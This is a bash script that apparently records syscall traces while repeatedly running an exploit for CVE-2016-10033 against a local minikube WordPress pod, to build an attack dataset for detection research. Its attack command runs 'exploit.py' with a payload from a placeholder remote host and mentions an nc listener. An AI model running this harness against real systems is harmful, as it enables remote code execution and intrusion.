#!/bin/bash

# CVE_ID="CVE-2016-10033"
CVE_ID=$1
RECORD_TIME=15
FILE_NUMBER=1
CONTAINER_ID=$(docker ps -a | grep minikube | awk '{print $1}')

OUTPUT_DIR="/CAShift/Dataset/output/attack/$CVE_ID"
WEB_URL=$(minikube service wordpress --url)
CVE_FILE="{IP TO REPLACE}/cve.txt"

if [ ! -d "$OUTPUT_DIR" ]; then
    echo "Creating Output Dir"
    mkdir -p $OUTPUT_DIR
else
    echo "Output Dir Already Exists"
fi

# tmux new-session -d -s record
tmux new-session -d -s attack
tmux new-session -d -s record

# get pod id
POD_ID=$(kubectl get pods | grep wordpress | awk '{print $1}')

# Collect 100 cases
for i in {1..100}; do

    # attack with random sleep
    echo "Collecting $i ..."
    record_cmd="sudo sysdig -v -b -p \"%evt.rawtime %user.uid %proc.pid %proc.name %thread.tid %syscall.type %evt.dir %evt.args\" -w $OUTPUT_DIR/$FILE_NUMBER.scap container.id=$CONTAINER_ID"
    tmux send -t "record" "$record_cmd" ENTER
    
    # sleep to ensure the record is started and log start
    sleep 2
    kubectl exec -it $POD_ID -c wordpress -- logger 'Attack Start'

    # attack_cmd="sleep $((RANDOM % 9 + 2)) && python exploit.py $WEB_URL $CVE_FILE"
    attack_cmd="python exploit.py $WEB_URL $CVE_FILE && kubectl exec -it $POD_ID -c wordpress -- logger 'Attack Stop' && sleep 1 && tmux send -t record 'C-c' ENTER"
    echo $attack_cmd
    tmux send -t "attack" "$attack_cmd" ENTER
    
    # start record
    # sudo sysdig -v -b -p "%evt.rawtime %user.uid %proc.pid %proc.name %thread.tid %syscall.type %evt.dir %evt.args" -M $RECORD_TIME -w $OUTPUT_DIR/$FILE_NUMBER.scap container.id=$CONTAINER_ID
    echo "Restart nc listening"
    FILE_NUMBER=$((FILE_NUMBER + 1))
    sleep 5 && echo "Finish $FILE_NUMBER"
done

# stop record
tmux kill-session -t attack
tmux kill-session -t record
sleep 1
# done

# # cleaning
# tmux kill-session -t switch
minikube delete
# sleep 5
